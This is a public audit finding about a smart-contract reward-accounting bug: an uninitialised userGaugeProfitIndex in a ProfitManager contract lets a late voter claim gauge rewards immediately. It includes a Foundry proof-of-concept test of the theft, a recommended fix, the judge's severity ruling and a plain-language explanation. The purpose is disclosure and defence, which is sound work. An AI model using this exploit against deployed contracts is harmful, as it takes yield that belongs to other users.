The userGaugeProfitIndex is not set correctly, allowing an attacker to receive rewards without waiting
The userGaugeProfitIndex is not initialised when a user first claims gauge rewards, so an attacker can vote after profit is notified and then claim rewards without waiting, stealing yield from other users.
Submitted by Arz, also found by deliriusz, Infect3d, Neon2835, AlexCzm, evmboi32, Chinmay, 0xpiken, 0xStalin, sl1, almurhasan, HighDuty, Tendency (1, 2), zhaojohnson, c47ch3m4ll, JCN, santipu_, asui, kaden, TheSchnilch, klau5, ether_sky (1, 2), and critical-or-high
When claimGaugeRewards() is called for the first time before the user votes for a gauge, the userGaugeProfitIndex should be set to the current gaugeProfitIndex, later when the gaugeProfitIndex grows the user will be able to claim the rewards.
The problem here is that the first time claimGaugeRewards() is called the userGaugeProfitIndex is not set to anything because of this check:
416: if (_userGaugeWeight == 0) {
417: return 0;
418: }
So an attacker can vote for a gauge after profit is notified, claimGaugeRewards() will be called for the first time in incrementGauge(); however, the userGaugeProfitIndex will not be set and will be 0.
The attacker will then call claimGaugeRewards() again and because the userGaugeProfitIndex == 0 it will be set to 1e18. Since the gaugeProfitIndex is bigger than 1e18, the attacker will receive rewards without waiting.
Impact
The attacker will receive rewards without waiting and can repeat this until all rewards are stolen. Other users will then fail to claim their rewards and will receive nothing.
Proof of Concept
Add this to ProfitManager.t.sol and import "@forge-std/console.sol";
As you can see, the attacker will be able to steal rewards in the same transaction.
function testAttackClaimAfterProfit() public {
address attacker = makeAddr("attacker");
vm.startPrank(governor);
core.grantRole(CoreRoles.GOVERNOR, address(this));
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(this));
core.grantRole(CoreRoles.GAUGE_ADD, address(this));
core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
vm.stopPrank();
vm.prank(governor);
profitManager.setProfitSharingConfig(
0, // surplusBufferSplit
0.5e18, // creditSplit
0.5e18, // guildSplit
0, // otherSplit
address(0) // otherRecipient
);
guild.setMaxGauges(1);
guild.addGauge(1, gauge1);
guild.mint(attacker, 150e18);
guild.mint(bob, 400e18);
vm.prank(bob);
guild.incrementGauge(gauge1, 400e18);
credit.mint(address(profitManager), 20e18);
profitManager.notifyPnL(gauge1, 20e18);
//Attacker votes for a gauge after it notifies profit
//The userGaugeProfitIndex of the attacker is not set
vm.prank(attacker);
guild.incrementGauge(gauge1, 150e18);
//Because the userGaugeProfitIndex is not set it will be set to 1e18
//The gaugeProfitIndex will be 1.025e18 so the attacker will steal the rewards
profitManager.claimGaugeRewards(attacker,gauge1);
console.log(credit.balanceOf(attacker));
//Other users will then fail to claim their rewards
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
profitManager.claimGaugeRewards(bob,gauge1);
console.log(credit.balanceOf(bob));
}
Tools Used
Foundry
Recommended Mitigation Steps
When userGaugeProfitIndex equals 0 it should be set to the current gaugeProfitIndex and it should be set the first time claimGaugeRewards() is called.
Disputing severity (I think it’s more fit for medium because there is no loss of user funds, just rewards).
TrungOre (judge) commented via duplicate issue #1211:
I consider this issue a high severity because the rewards in ProfitManager are matured yield, which should be distributed to the intended users. The loss of matured yield is considered a high-severity issue based on C4’s criteria.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the claim function returns early when the user's gauge weight is zero, so the user's profit index is never initialised to the current gauge profit index.
What the attacker needed
Attacker has voting power in the gauge; profit is notified before attacker votes; attacker can call claimGaugeRewards
The fix
When userGaugeProfitIndex is zero it should be set to the current gaugeProfitIndex the first time claimGaugeRewards is called.
How it was found
- Notify profit for a gauge before the attacker has voted.
- Attacker votes for the gauge, which calls claimGaugeRewards for the first time but leaves userGaugeProfitIndex at zero.
- Attacker calls claimGaugeRewards again; because the index is zero it is set to 1e18, which is below the current gaugeProfitIndex.
- Attacker receives rewards immediately, and other users later fail to claim because the balance is exhausted.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract tracks each user's share of rewards with a number called userGaugeProfitIndex. If that number is left at zero, the contract treats the user as having been present since the beginning and pays out rewards they did not earn. An attacker can exploit this to take rewards that belong to other people.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.